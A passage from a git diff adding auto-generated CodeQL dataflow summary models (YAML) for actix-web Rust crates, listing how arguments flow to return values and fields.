"Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "Argument[self].Field[crate::form::text::TextConfig::validate_content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "ReturnValue.Field[crate::form::text::TextConfig::validate_content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::clone", "Argument[self].Field[crate::safety::Safety::clean].Reference", "ReturnValue.Field[crate::safety::Safety::clean]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-router.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-router.model.yml new file mode 100644 index 000000000000..7f2f1a6c17e6 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-router.model.yml @@ -0,0 +1,35 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-router", "<&str as crate::resource_path::ResourcePath>::path", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "<_ as crate::resource_path::Resource>::resource_path", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::patterns", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::path", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::new", "Argument[0]", "ReturnValue.Field[crate::de::PathDeserializer::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::resource_path", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::get_mut", "Argument[self].Field[crate::path::Path::path]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::get_ref", "Argument[self].Field[crate::path::Path::path]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::iter", "Argument[self]", "ReturnValue.Field[crate::path::PathIter::params]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::new", "Argument[0]", "ReturnValue.Field[crate::path::Path::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::set", "Argument[0]", "Argument[self].Field[crate::path::Path::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::patterns", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::capture_match_info_fn", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::id", "Argument[self].Field[crate::resource::ResourceDef::id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::is_prefix", "Argument[self].Field[crate::resource::ResourceDef::is_prefix]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::join", "Argument[0].Field[crate::resource::ResourceDef::is_prefix]", "ReturnValue.Field[crate::resource::ResourceDef::is_prefix]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::pattern", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::pattern_iter", "Argument[self].Field[crate::resource::ResourceDef::patterns]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::set_id", "Argument[0]", "Argument[self].Field[crate::resource::ResourceDef::id]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::finish", "Argument[self].Field[crate::router::RouterBuilder::routes]", "ReturnValue.Field[crate::router::Router::routes]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::patterns", "Argument[self].Reference", "ReturnValue.Field[crate::pattern::Patterns::Single(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::path", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::path", "Argument[self].Field[crate::url::Url::path].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::new", "Argument[0]", "ReturnValue.Field[crate::url::Url::uri]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::new_with_quoter", "Argument[0]", "ReturnValue.Field[crate::url::Url::uri]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::path", "Argument[self].Field[crate::url::Url::path].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::update", "Argument[0].Reference", "Argument[self].Field[crate::url::Url::uri]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::update_with_quoter", "Argument[0].Reference", "Argument[self].Field[crate::url::Url::uri]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-router", "::uri", "Argument[self].Field[crate::url::Url::uri]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml new file mode 100644 index 000000000000..092daa5214e4 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml @@ -0,0 +1,60 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-test", "::addr", "Argument[self].Field[crate::TestServer::addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::url", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::url", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::client_request_timeout", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::client_request_timeout", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::client_request_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::disable_redirects", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::h1", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::h2", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::listen_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::openssl", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::openssl", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Openssl(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::openssl", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::port", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::port]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::port", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::port]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::port", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_021", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_021", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_021", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_20", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_20", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls020(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_20", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_21", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_21", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls021(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_21", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_22", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls022(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_22", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls022(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_22", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_23", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls023(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_23", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::stream].Field[crate::StreamType::Rustls023(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::rustls_0_23", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::workers", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::workers]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::workers", "Argument[0]", "ReturnValue.Field[crate::TestServerConfig::workers]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-test", "::workers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml new file mode 100644 index 000000000000..6c1bd84c988b --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml @@ -0,0 +1,21 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::parts", "Argument[self].Field[crate::context::HttpContext::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::parts", "Argument[self].Field[crate::ws::WebsocketContext::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::with_codec", "Argument[2]", "ReturnValue.Field[crate::ws::WebsocketContextFut::encoder]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::codec", "Argument[0]", "Argument[self].Field[crate::ws::WsResponseBuilder::codec].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::codec", "Argument[0]", "ReturnValue.Field[crate::ws::WsResponseBuilder::codec].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::codec", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::frame_size", "Argument[0]", "Argument[self].Field[crate::ws::WsResponseBuilder::frame_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::frame_size", "Argument[0]", "ReturnValue.Field[crate::ws::WsResponseBuilder::frame_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::new", "Argument[0]", "ReturnValue.Field[crate::ws::WsResponseBuilder::actor]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::new", "Argument[1]", "ReturnValue.Field[crate::ws::WsResponseBuilder::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::new", "Argument[2]", "ReturnValue.Field[crate::ws::WsResponseBuilder::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[0]", "Argument[self].Field[crate::ws::WsResponseBuilder::protocols].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[0]", "ReturnValue.Field[crate::ws::WsResponseBuilder::protocols].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[self]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml new file mode 100644 index 000000000000..da04e3d3bf06 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml @@ -0,0 +1,25 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::try_from", "Argument[0].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::MethodTypeExt::Custom(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[0].Field[crate::route::RouteArgs::path]", "ReturnValue.Field[crate::route::Args::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::Route::ast]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::Route::name]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::connect", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::delete", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::get", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::head", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::options", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::patch", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::post", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::put", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::route::with_method", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::route::with_methods", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::route", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::routes", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::scope::with_scope", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::scope", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::trace", "Argument[1]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml new file mode 100644 index 000000000000..71d89fea2728 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml @@ -0,0 +1,385 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::guard::Guard>::check", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::guard::Guard>::check", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::handler::Handler>::call", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::default]", "ReturnValue.Field[crate::app_service::AppInit::default]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::endpoint]", "ReturnValue.Field[crate::app_service::AppInit::endpoint]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::factory_ref]", "ReturnValue.Field[crate::app_service::AppInit::factory_ref]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data_factory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::external_resource", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap_fn", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::app_service::AppEntry::factory]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::config", "Argument[self].Field[crate::app_service::AppInitServiceState::config]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::pool", "Argument[self].Field[crate::app_service::AppInitServiceState::pool]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::rmap", "Argument[self].Field[crate::app_service::AppInitServiceState::rmap]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::__priv_test_new", "Argument[0]", "ReturnValue.Field[crate::config::AppConfig::secure]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::__priv_test_new", "Argument[1]", "ReturnValue.Field[crate::config::AppConfig::host]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::__priv_test_new", "Argument[2]", "ReturnValue.Field[crate::config::AppConfig::addr]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::host", "Argument[self].Field[crate::config::AppConfig::host]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::local_addr", "Argument[self].Field[crate::config::AppConfig::addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::config::AppConfig::secure]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "ReturnValue.Field[crate::config::AppConfig::host]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[2]", "ReturnValue.Field[crate::config::AppConfig::addr]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::secure", "Argument[self].Field[crate::config::AppConfig::secure]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::clone_config", "Argument[self].Field[crate::config::AppService::config].Reference", "ReturnValue.Field[crate::config::AppService::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::clone_config", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Field[crate::config::AppService::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::config", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_services", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_services", "Argument[self].Field[crate::config::AppService::services]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::is_root", "Argument[self].Field[crate::config::AppService::root]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::config::AppService::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "ReturnValue.Field[crate::config::AppService::default]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::configure", "Argument[self]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::external_resource", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::route", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::data::Data(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::data::Data(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::data::Data(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0].Field[crate::types::either::EitherExtractError::Bytes(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::error::error::Error::cause]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", 